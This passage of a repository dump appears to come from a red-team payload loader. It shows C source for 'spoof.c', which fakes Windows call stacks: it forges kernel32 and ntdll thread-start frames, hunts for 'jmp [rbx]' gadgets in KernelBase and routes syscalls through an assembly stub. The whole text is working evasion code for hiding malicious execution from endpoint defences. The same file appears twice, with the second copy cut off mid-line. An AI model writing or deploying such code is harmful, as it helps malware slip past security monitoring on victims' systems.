UWOP_SAVE_NONVOL, 30 | UWOP_SAVE_NONVOL_FAR, 31 | UWOP_SAVE_XMM128 = 8, 32 | UWOP_SAVE_XMM128_FAR, 33 | UWOP_PUSH_MACHFRAME 34 | } UNWIND_CODE_OPS; 35 | 36 | typedef unsigned char UBYTE; 37 | 38 | typedef union { 39 | struct { 40 | UBYTE CodeOffset; 41 | UBYTE UnwindOp : 4; 42 | UBYTE OpInfo : 4; 43 | }; 44 | USHORT FrameOffset; 45 | } UNWIND_CODE; 46 | 47 | typedef struct { 48 | UBYTE Version : 3; 49 | UBYTE Flags : 5; 50 | UBYTE SizeOfProlog; 51 | UBYTE CountOfCodes; 52 | UBYTE FrameRegister : 4; 53 | UBYTE FrameOffset : 4; 54 | UNWIND_CODE UnwindCode [ 1 ]; 55 | } UNWIND_INFO; 56 | 57 | typedef struct { 58 | PVOID ModuleAddress; 59 | PVOID FunctionAddress; 60 | DWORD Offset; 61 | } FRAME_INFO; 62 | 63 | typedef struct { 64 | FRAME_INFO Frame1; 65 | FRAME_INFO Frame2; 66 | PVOID Gadget; 67 | } SYNTHETIC_STACK_FRAME; 68 | 69 | typedef struct { 70 | FUNCTION_CALL * FunctionCall; 71 | PVOID StackFrame; 72 | PVOID SpoofCall; 73 | } DRAUGR_FUNCTION_CALL; 74 | 75 | typedef struct { 76 | PVOID Fixup; 77 | PVOID OriginalReturnAddress; 78 | PVOID Rbx; 79 | PVOID Rdi; 80 | PVOID BaseThreadInitThunkStackSize; 81 | PVOID BaseThreadInitThunkReturnAddress; 82 | PVOID TrampolineStackSize; 83 | PVOID RtlUserThreadStartStackSize; 84 | PVOID RtlUserThreadStartReturnAddress; 85 | PVOID Ssn; 86 | PVOID Trampoline; 87 | PVOID Rsi; 88 | PVOID R12; 89 | PVOID R13; 90 | PVOID R14; 91 | PVOID R15; 92 | } DRAUGR_PARAMETERS; 93 | 94 | extern PVOID draugr_stub ( PVOID, PVOID, PVOID, PVOID, DRAUGR_PARAMETERS *, PVOID, SIZE_T, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID ); 95 | 96 | #define draugr_arg(i) ( ULONG_PTR ) ( call->args [ i ] ) 97 | 98 | void init_frame_info ( SYNTHETIC_STACK_FRAME * frame ) 99 | { 100 | PVOID frame1_module = KERNEL32$GetModuleHandleA ( "kernel32.dll" ); 101 | PVOID frame2_module = KERNEL32$GetModuleHandleA ( "ntdll.dll" ); 102 | 103 | frame->Frame1.ModuleAddress = frame1_module; 104 | frame->Frame1.FunctionAddress = ( PVOID ) GetProcAddress ( ( HMODULE ) frame1_module, "BaseThreadInitThunk" ); 105 | frame->Frame1.Offset = 0x17; 106 | 107 | frame->Frame2.ModuleAddress = frame2_module; 108 | frame->Frame2.FunctionAddress = ( PVOID ) GetProcAddress ( ( HMODULE ) frame2_module, "RtlUserThreadStart" ); 109 | frame->Frame2.Offset = 0x2c; 110 | 111 | frame->Gadget = KERNEL32$GetModuleHandleA ( "KernelBase.dll" ); 112 | } 113 | 114 | BOOL get_text_section_size ( PVOID module, PDWORD virtual_address, PDWORD size ) 115 | { 116 | IMAGE_DOS_HEADER * dos_header = ( IMAGE_DOS_HEADER * ) ( module ); 117 | 118 | if ( dos_header->e_magic != IMAGE_DOS_SIGNATURE ) { 119 | return FALSE; 120 | } 121 | 122 | IMAGE_NT_HEADERS * nt_headers = ( IMAGE_NT_HEADERS * ) ( ( UINT_PTR ) module + dos_header->e_lfanew ); 123 | 124 | if ( nt_headers->Signature != IMAGE_NT_SIGNATURE ) { 125 | return FALSE; 126 | } 127 | 128 | IMAGE_SECTION_HEADER * section_header = IMAGE_FIRST_SECTION ( nt_headers ); 129 | 130 | for ( int i = 0; i < nt_headers->FileHeader.NumberOfSections; i++ ) 131 | { 132 | DWORD h = ror13hash ( ( char * ) section_header[ i ].Name ); 133 | 134 | if ( h == TEXT_HASH ) 135 | { 136 | *virtual_address = section_header[ i ].VirtualAddress; 137 | *size = section_header[ i ].SizeOfRawData; 138 | 139 | return TRUE; 140 | } 141 | } 142 | 143 | return FALSE; 144 | } 145 | 146 | PVOID calculate_function_stack_size ( RUNTIME_FUNCTION * runtime_function, const DWORD64 image_base ) 147 | { 148 | UNWIND_INFO * unwind_info = NULL; 149 | ULONG unwind_operation = 0; 150 | ULONG operation_info = 0; 151 | ULONG index = 0; 152 | ULONG frame_offset = 0; 153 | 154 | STACK_FRAME stack_frame = { 0 }; 155 | 156 | if ( ! runtime_function ) { 157 | return NULL; 158 | } 159 | 160 | unwind_info = ( UNWIND_INFO * ) ( runtime_function->UnwindData + image_base ); 161 | 162 | while ( index < unwind_info->CountOfCodes ) 163 | { 164 | unwind_operation = unwind_info->UnwindCode[ index ].UnwindOp; 165 | operation_info = unwind_info->UnwindCode[ index ].OpInfo; 166 | 167 | /* don't use switch as it produces jump tables */ 168 | if ( unwind_operation == UWOP_PUSH_NONVOL ) 169 | { 170 | stack_frame.TotalStackSize += 8; 171 | 172 | if ( operation_info == RBP_OP_INFO ) 173 | { 174 | stack_frame.PushRbp = TRUE; 175 | stack_frame.CountOfCodes = unwind_info->CountOfCodes; 176 | stack_frame.PushRbpIndex = index + 1; 177 | } 178 | } 179 | else if ( unwind_operation == UWOP_SAVE_NONVOL ) 180 | { 181 | index += 1; 182 | } 183 | else if ( unwind_operation == UWOP_ALLOC_SMALL ) 184 | { 185 | stack_frame.TotalStackSize += ( ( operation_info * 8 ) + 8 ); 186 | } 187 | else if ( unwind_operation == UWOP_ALLOC_LARGE ) 188 | { 189 | index += 1; 190 | frame_offset = unwind_info->UnwindCode[ index ].FrameOffset; 191 | 192 | if (operation_info == 0) 193 | { 194 | frame_offset *= 8; 195 | } 196 | else 197 | { 198 | index += 1; 199 | frame_offset += ( unwind_info->UnwindCode[ index ].FrameOffset << 16 ); 200 | } 201 | 202 | stack_frame.TotalStackSize += frame_offset; 203 | } 204 | else if ( unwind_operation == UWOP_SET_FPREG ) 205 | { 206 | stack_frame.SetsFramePointer = TRUE; 207 | } 208 | else if ( unwind_operation == UWOP_SAVE_XMM128 ) 209 | { 210 | return NULL; 211 | } 212 | 213 | index += 1; 214 | } 215 | 216 | if ( 0 != ( unwind_info->Flags & UNW_FLAG_CHAININFO ) ) 217 | { 218 | index = unwind_info->CountOfCodes; 219 | 220 | if ( 0 != ( index & 1 ) ) 221 | { 222 | index += 1; 223 | } 224 | 225 | runtime_function = ( RUNTIME_FUNCTION * ) ( &unwind_info->UnwindCode [ index ] ); 226 | return calculate_function_stack_size ( runtime_function, image_base ); 227 | } 228 | 229 | stack_frame.TotalStackSize += 8; 230 | return ( PVOID ) ( stack_frame.TotalStackSize ); 231 | } 232 | 233 | PVOID calculate_function_stack_size_wrapper ( PVOID return_address ) 234 | { 235 | RUNTIME_FUNCTION * runtime_function = NULL; 236 | DWORD64 image_base = 0; 237 | PUNWIND_HISTORY_TABLE history_table = NULL; 238 | 239 | if ( ! return_address ) { 240 | return NULL; 241 | } 242 | 243 | runtime_function = KERNEL32$RtlLookupFunctionEntry ( ( DWORD64 ) return_address, &image_base, history_table ); 244 | 245 | if ( NULL == runtime_function ) { 246 | return NULL; 247 | } 248 | 249 | return calculate_function_stack_size ( runtime_function, image_base ); 250 | } 251 | 252 | PVOID find_gadget( PVOID module ) 253 | { 254 | BOOL found_gadgets = FALSE; 255 | DWORD text_section_size = 0; 256 | DWORD text_section_va = 0; 257 | DWORD counter = 0; 258 | ULONG seed = 0; 259 | ULONG random = 0; 260 | PVOID module_text_section = NULL; 261 | 262 | PVOID gadget_list [ 15 ] = { 0 }; 263 | 264 | if ( ! found_gadgets ) 265 | { 266 | if ( ! get_text_section_size ( module, &text_section_va, &text_section_size ) ) { 267 | return NULL; 268 | } 269 | 270 | module_text_section = ( PBYTE ) ( ( UINT_PTR ) module + text_section_va ); 271 | 272 | for ( int i = 0; i < ( text_section_size - 2 ); i++ ) 273 | { 274 | /* x64 opcodes are ff 23 */ 275 | if ( ( ( PBYTE ) module_text_section ) [ i ] == 0xFF && ( ( PBYTE ) module_text_section ) [ i + 1 ] == 0x23 ) 276 | { 277 | gadget_list [ counter ] = ( PVOID ) ( ( UINT_PTR ) module_text_section + i ); 278 | counter++; 279 | 280 | if ( counter == 15 ) { 281 | break; 282 | } 283 | } 284 | } 285 | 286 | found_gadgets = TRUE; 287 | } 288 | 289 | seed = 0x1337; 290 | random = NTDLL$RtlRandomEx ( &seed ); 291 | random %= counter; 292 | 293 | return gadget_list [ random ]; 294 | } 295 | 296 | ULONG_PTR draugr_wrapper ( PVOID function, DWORD ssn, PVOID arg1, PVOID arg2, PVOID arg3, PVOID arg4, PVOID arg5, PVOID arg6, PVOID arg7, PVOID arg8, PVOID arg9, PVOID arg10, PVOID arg11, PVOID arg12 ) 297 | { 298 | int attempts = 0; 299 | PVOID return_address = NULL; 300 | 301 | DRAUGR_PARAMETERS draugr_params = { 0 }; 302 | 303 | if ( ssn ) { 304 | draugr_params.Ssn = ( PVOID ) ( ULONG_PTR ) ssn; 305 | } 306 | 307 | SYNTHETIC_STACK_FRAME frame; 308 | init_frame_info ( &frame ); 309 | 310 | return_address = ( PVOID ) ( ( UINT_PTR ) frame.Frame1.FunctionAddress + frame.Frame1.Offset ); 311 | draugr_params.BaseThreadInitThunkStackSize = calculate_function_stack_size_wrapper ( return_address ); 312 | draugr_params.BaseThreadInitThunkReturnAddress = return_address; 313 | 314 | if ( ! draugr_params.BaseThreadInitThunkStackSize || ! draugr_params.BaseThreadInitThunkReturnAddress ) { 315 | return ( ULONG_PTR ) ( NULL ); 316 | } 317 | 318 | return_address = ( PVOID ) ( ( UINT_PTR ) frame.Frame2.FunctionAddress + frame.Frame2.Offset ); 319 | draugr_params.RtlUserThreadStartStackSize = calculate_function_stack_size_wrapper ( return_address ); 320 | draugr_params.RtlUserThreadStartReturnAddress = return_address; 321 | 322 | if ( ! draugr_params.RtlUserThreadStartStackSize || ! draugr_params.RtlUserThreadStartReturnAddress ) { 323 | return ( ULONG_PTR ) ( NULL ); 324 | } 325 | 326 | do 327 | { 328 | draugr_params.Trampoline = find_gadget ( frame.Gadget ); 329 | draugr_params.TrampolineStackSize = calculate_function_stack_size_wrapper ( draugr_params.Trampoline ); 330 | 331 | attempts++; 332 | 333 | if ( attempts > 15 ) { 334 | return ( ULONG_PTR ) ( NULL ); 335 | } 336 | 337 | } while ( draugr_params.TrampolineStackSize == NULL || ( ( __int64 ) draugr_params.TrampolineStackSize < 0x80 ) ); 338 | 339 | if ( ! draugr_params.Trampoline || ! draugr_params.TrampolineStackSize ) { 340 | return ( ULONG_PTR ) ( NULL ); 341 | } 342 | 343 | return ( ULONG_PTR ) draugr_stub ( arg1, arg2, arg3, arg4, &draugr_params, function, 8, arg5, arg6, arg7, arg8, arg9, arg10, arg11, arg12 ); 344 | } 345 | 346 | ULONG_PTR spoof_call ( FUNCTION_CALL * call ) 347 | { 348 | /* very inelegant */ 349 | if ( call->argc == 0 ) { 350 | return draugr_wrapper ( call->ptr, call->ssn, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL ); 351 | } else if ( call->argc == 1 ) { 352 | return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL ); 353 | } else if ( call->argc == 2 ) { 354 | return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL ); 355 | } else if ( call->argc == 3 ) { 356 | return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL ); 357 | } else if ( call->argc == 4 ) { 358 | return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL ); 359 | } else if ( call->argc == 5 ) { 360 | return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL ); 361 | } else if ( call->argc == 6 ) { 362 | return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), NULL, NULL, NULL, NULL, NULL, NULL ); 363 | } else if ( call->argc == 7 ) { 364 | return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), NULL, NULL, NULL, NULL, NULL ); 365 | } else if ( call->argc == 8 ) { 366 | return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), NULL, NULL, NULL, NULL ); 367 | } else if ( call->argc == 9 ) { 368 | return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), NULL, NULL, NULL ); 369 | } else if ( call->argc == 10 ) { 370 | return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), NULL, NULL ); 371 | } else if ( call->argc == 11 ) { 372 | return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), ( PVOID ) draugr_arg ( 10 ), NULL ); 373 | } else if ( call->argc == 12 ) { 374 | return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), ( PVOID ) draugr_arg ( 10 ), ( PVOID ) draugr_arg ( 11 ) ); 375 | } else { 376 | return ( ULONG_PTR ) ( NULL ); 377 | } 378 | } 379 | -------------------------------------------------------------------------------- /local-loader/src/spoof.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "spoof.h" 3 | #include "tcg.h" 4 | 5 | DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$GetModuleHandleA ( LPCSTR ); 6 | DECLSPEC_IMPORT RUNTIME_FUNCTION * WINAPI KERNEL32$RtlLookupFunctionEntry ( DWORD64, PDWORD64, PUNWIND_HISTORY_TABLE ); 7 | DECLSPEC_IMPORT ULONG NTAPI NTDLL$RtlRandomEx ( PULONG ); 8 | 9 | #define TEXT_HASH 0xEBC2F9B4 10 | #define RBP_OP_INFO 0x5 11 | 12 | typedef struct { 13 | LPCWSTR DllPath; 14 | ULONG Offset; 15 | ULONGLONG TotalStackSize; 16 | BOOL RequiresLoadLibrary; 17 | BOOL SetsFramePointer; 18 | PVOID ReturnAddress; 19 | BOOL PushRbp; 20 | ULONG CountOfCodes; 21 | BOOL PushRbpIndex; 22 | } STACK_FRAME; 23 | 24 | typedef enum { 25 | UWOP_PUSH_NONVOL = 0, 26 | UWOP_ALLOC_LARGE, 27 | UWOP_ALLOC_SMALL, 28 | UWOP_SET_FPREG, 29 | UWOP_SAVE_NONVOL, 30 | UWOP_SAVE_NONVOL_FAR, 31 | UWOP_SAVE_XMM128 = 8, 32 | UWOP_SAVE_XMM128_FAR, 33 | UWOP_PUSH_MACHFRAME 34 | } UNWIND_CODE_OPS; 35 | 36 | typedef unsigned char UBYTE; 37 | 38 | typedef union { 39 | struct { 40 | UBYTE CodeOffset; 41 | UBYTE UnwindOp : 4; 42 | UBYTE OpInfo : 4; 43 | }; 44 | USHORT FrameOffset; 45 | } UNWIND_CODE; 46 | 47 | typedef struct { 48 | UBYTE Version : 3; 49 | UBYTE Flags : 5; 50 | UBYTE SizeOfProlog; 51 | UBYTE CountOfCodes; 52 | UBYTE FrameRegister : 4; 53 | UBYTE FrameOffset : 4; 54 | UNWIND_CODE UnwindCode [ 1 ]; 55 | } UNWIND_INFO; 56 | 57 | typedef struct { 58 | PVOID ModuleAddress; 59 | PVOID FunctionAddress; 60 | DWORD Offset; 61 | } FRAME_INFO; 62 | 63 | typedef struct { 64 | FRAME_INFO Frame1; 65 | FRAME_INFO Frame2; 66 | PVOID Gadget; 67 | } SYNTHETIC_STACK_FRAME; 68 | 69 | typedef struct { 70 | FUNCTION_CALL * FunctionCall; 71 | PVOID StackFrame; 72 | PVOID SpoofCall; 73 | } DRAUGR_FUNCTION_CALL; 74 | 75 | typedef struct { 76 | PVOID Fixup; 77 | PVOID OriginalReturnAddress; 78 | PVOID Rbx; 79 | PVOID Rdi; 80 | PVOID BaseThreadInitThunkStackSize; 81 | PVOID BaseThreadInitThunkReturnAddress; 82 | PVOID TrampolineStackSize; 83 | PVOID RtlUserThreadStartStackSize; 84 | PVOID RtlUserThreadStartReturnAddress; 85 | PVOID Ssn; 86 | PVOID Trampoline; 87 | PVOID Rsi; 88 | PVOID R12; 89 | PVOID R13; 90 | PVOID R14; 91 | PVOID R15; 92 | } DRAUGR_PARAMETERS; 93 | 94 | extern PVOID draugr_stub ( PVOID, PVOID, PVOID, PVOID, DRAUGR_PARAMETERS *, PVOID, SIZE_T, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID ); 95 | 96 | #define draugr_arg(i) ( ULONG_PTR ) ( call->args [ i ] ) 97 | 98 | void init_frame_info ( SYNTHETIC_STACK_FRAME * frame ) 99 | { 100 | PVOID frame1_module = KERNEL32$GetModuleHandleA ( "kernel32.dll" ); 101 | PVOID frame2_module = KERNEL32$GetModuleHandleA ( "ntdll.dll" ); 102 | 103 | frame->Frame1.ModuleAddress = frame1_module; 104 | frame->Frame1.FunctionAddress = ( PVOID ) GetProcAddress ( ( HMODULE ) frame1_module, "BaseThreadInitThunk" ); 105 | frame->Frame1.Offset = 0x17; 106 | 107 | frame->Frame2.ModuleAddress = frame2_module; 108 | frame->Frame2.FunctionAddress = ( PVOID ) GetProcAddress ( ( HMODULE ) frame2_module, "RtlUserThreadStart" ); 109 | frame->Frame2.Offset = 0x2c; 110 | 111 | frame->Gadget = KERNEL32$GetModuleHandleA ( "KernelBase.dll" ); 112 | } 113 | 114 | BOOL get_text_section_size ( PVOID module, PDWORD virtual_address, PDWORD size ) 115 | { 116 | IMAGE_DOS_HEADER * dos_header = ( IMAGE_DOS_HEADER * ) ( module ); 117 | 118 | if ( dos_header->e_magic != IMAGE_DOS_SIGNATURE ) { 119 | return FALSE; 120 | } 121 | 122 | IMAGE_NT_HEADERS * nt_headers = ( IMAGE_NT_HEADERS * ) ( ( UINT_PTR ) module + dos_header->e_lfanew ); 123 | 124 | if ( nt_headers->Signature != IMAGE_NT_SIGNATURE ) { 125 | return FALSE; 126 | } 127 | 128 | IMAGE_SECTION_HEADER * section_header = IMAGE_FIRST_SECTION ( nt_headers ); 129 | 130 | for ( int i = 0; i < nt_headers->FileHeader.NumberOfSections; i++ ) 131 | { 132 | DWORD h = ror13hash ( ( char * ) section_header[ i ].Name ); 133 | 134 | if ( h == TEXT_HASH ) 135 | { 136 | *virtual_address = section_header[ i ].VirtualAddress; 137 | *size = section_header[ i ].SizeOfRawData; 138 | 139 | return TRUE; 140 | } 141 | } 142 | 143 | return FALSE; 144 | } 145 | 146 | PVOID calculate_function_stack_size ( RUNTIME_FUNCTION * runtime_function, const DWORD64 image_base ) 147 | { 148 | UNWIND_INFO * unwind_info = NULL; 149 | ULONG unwind_operation = 0; 150 | ULONG operation_info = 0; 151 | ULONG index = 0; 152 | ULONG frame_offset = 0; 153 | 154 | STACK_FRAME stack_frame = { 0 }; 155 | 156 | if ( ! runtime_function ) { 157 | return NULL; 158 | } 159 | 160 | unwind_info = ( UNWIND_INFO * ) ( runtime_function->UnwindData + image_base ); 161 | 162 | while ( index < unwind_info->CountOfCodes ) 163 | { 164 | unwind_operation = unwind_info->UnwindCode[ index ].UnwindOp; 165 | operation_info = unwind_info->UnwindCode[ index ].OpInfo; 166 | 167 | /* don't use switch as it produces jump tables */ 168 | if ( unwind_operation == UWOP_PUSH_NONVOL ) 169 | { 170 | stack_frame.TotalStackSize += 8; 171 | 172 | if ( operation_info == RBP_OP_INFO ) 173 | { 174 | stack_frame.PushRbp = TRUE; 175 | stack_frame.CountOfCodes = unwind_info->CountOfCodes; 176 | stack_frame.PushRbpIndex = index + 1; 177 | } 178 | } 179 | else if ( unwind_operation == UWOP_SAVE_NONVOL ) 180 | { 181 | index += 1; 182 | } 183 | else if ( unwind_operation == UWOP_ALLOC_SMALL ) 184 | { 185 | stack_frame.TotalStackSize += ( ( operation_info * 8 ) + 8 ); 186 | } 187 | else if ( unwind_operation == UWOP_ALLOC_LARGE ) 188 | { 189 | index += 1; 190 | frame_offset = unwind_info->UnwindCode[ index ].FrameOffset; 191 | 192 | if (operation_info == 0) 193 | { 194 | frame_offset *= 8; 195 | } 196 | else 197 | { 198 | index += 1; 199 | frame_offset += ( unwind_info->UnwindCode[ index ].FrameOffset << 16 ); 200 | } 201 | 202 | stack_frame.TotalStackSize += frame_offset; 203 | } 204 | else if ( unwind_operation == UWOP_SET_FPREG ) 205 | { 206 | stack_frame.SetsFramePointer = TRUE; 207 | } 208 | else if ( unwind_operation == UWOP_SAVE_XMM128 ) 209 | { 210 | return NULL; 211 | } 212 | 213 | index += 1; 214 | } 215 | 216 | if ( 0 != ( unwind_info->Flags & UNW_FLAG_CHAININFO ) ) 217 | { 218 | index = unwind_info->CountOfCodes; 219 | 220 | if ( 0 != ( index & 1 ) ) 221 | { 222 | index += 1; 223 | } 224 | 225 | runtime_function = ( RUNTIME_FUNCTION * ) ( &unwind_info->UnwindCode [ index ] ); 226 | return calculate_function_stack_size ( runtime_function, image_base ); 227 | } 228 | 229 | stack_frame.TotalStackSize += 8; 230 | return ( PVOID ) ( stack_frame.TotalStackSize ); 231 | } 232 | 233 | PVOID calculate_function_stack_size_wrapper ( PVOID return_address ) 234 | { 235 | RUNTIME_FUNCTION * runtime_function = NULL; 236 | DWORD64 image_base = 0; 237 | PUNWIND_HISTORY_TABLE history_table = NULL; 238 | 239 | if ( ! return_address ) { 240 | return NULL; 241 | } 242 | 243 | runtime_function = KERNEL32$RtlLookupFunctionEntry ( ( DWORD64 ) return_address, &image_base, history_table ); 244 | 245 | if ( NULL == runtime_function ) { 246 | return NULL; 247 | } 248 | 249 | return calculate_function_stack_size ( runtime_function, image_base ); 250 | } 251 | 252 | PVOID find_gadget( PVOID module ) 253 | { 254 | BOOL found_gadgets = FALSE; 255 | DWORD text_section_size = 0; 256 | DWORD text_section_va = 0; 257 | DWORD counter = 0; 258 | ULONG seed = 0; 259 | ULONG random = 0; 260 | PVOID module_text_section = NULL; 261 | 262 | PVOID gadget_list [ 15 ] = { 0 }; 263 | 264 | if ( ! found_gadgets ) 265 | { 266 | if ( ! get_text_section_size ( module, &text_section_va, &text_section_size ) ) { 267 | return NULL; 268 | } 269 | 270 | module_text_section = ( PBYTE ) ( ( UINT_PTR ) module + text_section_va ); 271 | 272 | for ( int i = 0; i < ( text_section_size - 2 ); i++ ) 273 | { 274 | /* x64 opcodes are ff 23 */ 275 | if ( ( ( PBYTE ) module_text_section ) [ i ] == 0xFF && ( ( PBYTE ) module_text_section ) [ i + 1 ] == 0x23 ) 276 | { 277 | gadget_list [ counter ] = ( PVOID ) ( ( UINT_PTR ) module_text_section + i ); 278 | counter++; 279 | 280 | if ( counter == 15 ) { 281 | break; 282 | } 283 | } 284 | } 285 | 286 | found_gadgets = TRUE; 287 | } 288 | 289 | seed = 0x1337; 290 | random = NTDLL$RtlRandomEx ( &seed ); 291 | random %= counter; 292 | 293 | return gadget_list [ random ]; 294 | } 295 | 296 | ULONG_PTR draugr_wrapper ( PVOID function, DWORD ssn, PVOID arg1, PVOID arg2, PVOID arg3, PVOID arg4, PVOID arg5, PVOID arg6, PVOID arg7, PVOID arg8, PVOID arg9, PVOID arg10, PVOID arg11, PVOID arg12 ) 297 | { 298 | int attempts = 0; 299 | PVOID return_address = NULL; 300 | 301 | DRAUGR_PARAMETERS draugr_params = { 0 }; 302 | 303 | if ( ssn ) { 304 | draugr_params.Ssn = ( PVOID ) ( ULONG_PTR ) ssn; 305 | } 306 | 307 | SYNTHETIC_STACK_FRAME frame; 308 | init_frame_info ( &frame ); 309 | 310 | return_address = ( PVOID ) ( ( UINT_PTR ) frame.Frame1.FunctionAddress + frame.Frame1.Offset ); 311 | draugr_params.BaseThreadInitThunkStackSize = calculate_function_stack_size_wrapper ( return_address ); 312 | draugr_params.BaseThreadInitThunkReturnAddress = return_address; 313 | 314 | if ( ! draugr_params.BaseThreadInitThunkStackSize || ! draugr_params.BaseThreadInitThunkReturnAddress ) { 315 | return ( ULONG_PTR ) ( NULL ); 316 | } 317 | 318 | return_address = ( PVOID ) ( ( UINT_PTR ) frame.Frame2.FunctionAddress + frame.Frame2.Offset ); 319 | draugr_params.RtlUserThreadStartStackSize = calculate_function_stack_size_wrapper ( return_address ); 320 | draugr_params.RtlUserThreadStartReturnAddress = return_address; 321 | 322 | if ( ! draugr_params.RtlUserThreadStartStackSize || ! draugr_params.RtlUserThreadStartReturnAddress ) { 323 | return ( ULONG_PTR ) ( NULL ); 324 | } 325 | 326 | do 327 | { 328 | draugr_params.Trampoline = find_gadget ( frame.Gadget ); 329 | draugr_params.TrampolineStackSize = calculate_function_stack_size_wrapper ( draugr_params.Trampoline ); 330 | 331 | attempts++; 332 | 333 | if ( attempts > 15 ) { 334 | return ( ULONG_PTR ) ( NULL ); 335 | } 336 | 337 | } while ( draugr_params.TrampolineStackSize == NULL || ( ( __int64 ) draugr_params.TrampolineStackSize < 0x80 ) ); 338 | 339 | if ( ! draugr_params.Trampoline || ! draugr_params.TrampolineStackSize ) { 340 | return ( ULONG_PTR ) ( NULL ); 341 | } 342 | 343 | return ( ULONG_PTR ) draugr_stub ( arg1, arg2, arg3, arg4, &draugr_params, function, 8, arg5, arg6, arg7, arg8, arg9, arg10, arg11, arg12 ); 344 | } 345 | 346 | ULONG_PTR spoof_call ( FUNCTION_CALL * call ) 347 | { 348 | /* very inelegant */ 349 | if ( call->argc == 0 ) { 350 | return draugr_wrapper ( call->ptr, call->ssn, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL ); 351 | } else if ( call->argc == 1 ) { 352 | return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL ); 353 | } else if ( call->argc == 2 ) { 354 | return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL ); 355 | } else if ( call->argc == 3 ) { 356 | return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL ); 357 | } else if ( call->argc == 4 ) { 358 | return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL ); 359 | } else if ( call->argc == 5 ) { 360 | return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) 